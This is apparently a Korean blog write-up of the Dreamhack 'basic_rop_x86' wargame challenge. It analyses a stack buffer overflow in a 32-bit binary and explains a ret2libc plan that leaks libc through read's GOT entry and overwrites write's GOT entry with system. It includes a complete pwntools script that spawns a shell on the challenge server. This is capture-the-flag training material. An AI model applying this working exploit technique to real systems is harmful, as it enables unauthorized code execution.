basic_rop_x86 문제풀이
1. 취약점 확인
1. C언어
checksec 으로 취약점을 확인해보자
[*] '/home/gunp4ng/pwnable/Dreamhack/basic_rop_x86/basic_rop_x86'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
x86 아키텍처에 Partial RELRO, NX-bit 가 적용된 것을 알 수 있다.
Partial RELRO 가 적용되어 GOT Overwrite 가 가능하다.
C 코드를 확인해보자
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf 의 크기는 0x40 인 것을 알 수 있다.
이전에 작성한 basic_rop_x64 와 같은 코드이다.
2. 어셈블리
main 함수의 어셈블리를 살펴보자
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: push edi
0x080485dd <+4>: sub esp,0x40
0x080485e0 <+7>: lea edx,[ebp-0x44]
0x080485e3 <+10>: mov eax,0x0
0x080485e8 <+15>: mov ecx,0x10
0x080485ed <+20>: mov edi,edx
0x080485ef <+22>: rep stos DWORD PTR es:[edi],eax
0x080485f1 <+24>: call 0x8048592 <initialize>
0x080485f6 <+29>: push 0x400
0x080485fb <+34>: lea eax,[ebp-0x44]
0x080485fe <+37>: push eax
0x080485ff <+38>: push 0x0
0x08048601 <+40>: call 0x80483f0 <read@plt>
0x08048606 <+45>: add esp,0xc
0x08048609 <+48>: push 0x40
0x0804860b <+50>: lea eax,[ebp-0x44]
0x0804860e <+53>: push eax
0x0804860f <+54>: push 0x1
0x08048611 <+56>: call 0x8048450 <write@plt>
0x08048616 <+61>: add esp,0xc
0x08048619 <+64>: mov eax,0x0
0x0804861e <+69>: mov edi,DWORD PTR [ebp-0x4]
0x08048621 <+72>: leave
0x08048622 <+73>: ret
End of assembler dump.
buf 에 0x44 를 할당하는 것을 알 수 있다.
- buf : 0x40
- dummy : 0x4
buf 0x40 의 크기 아래에 0x4 만큼의 dummy 값이 있는 것을 알 수 있다.
2. 익스플로잇 구성
1. 익스플로잇 구성
- write 함수로 read GOT 를 출력한다
- 출력한 read GOT 를 이용하여 read GOT - read offset 을 하여 라이브러리 시작 주소를 구한다.
- 라이브러리 시작 주소 + system offset 을 하여 system 함수의 주소를 구한다.
- read 함수로 write GOT 영역에 system 함수의 주소를 덮어씌운다 (GOT Overwrite)
- read 함수로 bss 영역에 "/bin/sh" 문자열을 넣는다.
- write 함수의 인자로 bss 영역 ("/bin/sh")을 인자로 호출한다.
2. 스택 구조
먼저 스택 구조를 살펴보자
buf 의 크기는 0x40 이다.
buf 아래에 0x4 만큼의 dummy 값이 있다.
buf + dummy + SFP 크기인 0x48 만큼 입력하면 RET 전까지 덮어씌울 수 있다.
3. 가젯 주소 구하기
read, write 함수는 인자를 3개 필요로 한다.
x86 환경에서는 함수의 인자를 스택에 push 하여 전달하기 때문에 pop pop pop ret 가젯이 필요하다.
pop pop pop ret 가젯의 주소는 0x8048689 이다.
3. 익스플로잇
1. payload
from pwn import *
# context.log_level = 'debug'
context(arch='i386', os='linux')
p = remote('host3.dreamhack.games', 21606)
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
# p = process('./basic_rop_x86', env=env)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6', checksec=False)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
bss = e.bss()
# gadget
pppr = 0x8048689
# payload
payload = b'A' * 0x48 # buf + SFP
# write(1, read GOT, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
# read(0, write GOT, 4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
# read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# write(bss)
payload += p32(write_plt)
payload += b'A' * 0x4
payload += p32(bss)
# pause()
p.send(payload)
# libc base
p.recvuntil(b'A' * 0x40)
read_addr = u32(p.recvn(4))
libc_base = read_addr - libc.symbols['read']
log.info(f'read : {hex(read_addr)}')
log.info(f'libc base : {hex(libc_base)}')
# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')
p.send(p32(system))
p.sendline(b"/bin/sh")
p.interactive()
위에서 얻은 정보들을 이용해 payload 를 구성했다.
payload 를 실행하면 플래그를 획득할 수 있다.
'War Game > Pwnable' 카테고리의 다른 글
[sschall] adult_canary (0) | 2024.10.03 |
---|---|
[Plaid CTF] ropasaurusrex (0) | 2024.09.25 |
[Dreamhack] basic_rop_x64 (0) | 2024.09.11 |
[Dreamhack] rop (0) | 2024.09.06 |
[Security First] Maze 문제 풀이 (0) | 2024.08.01 |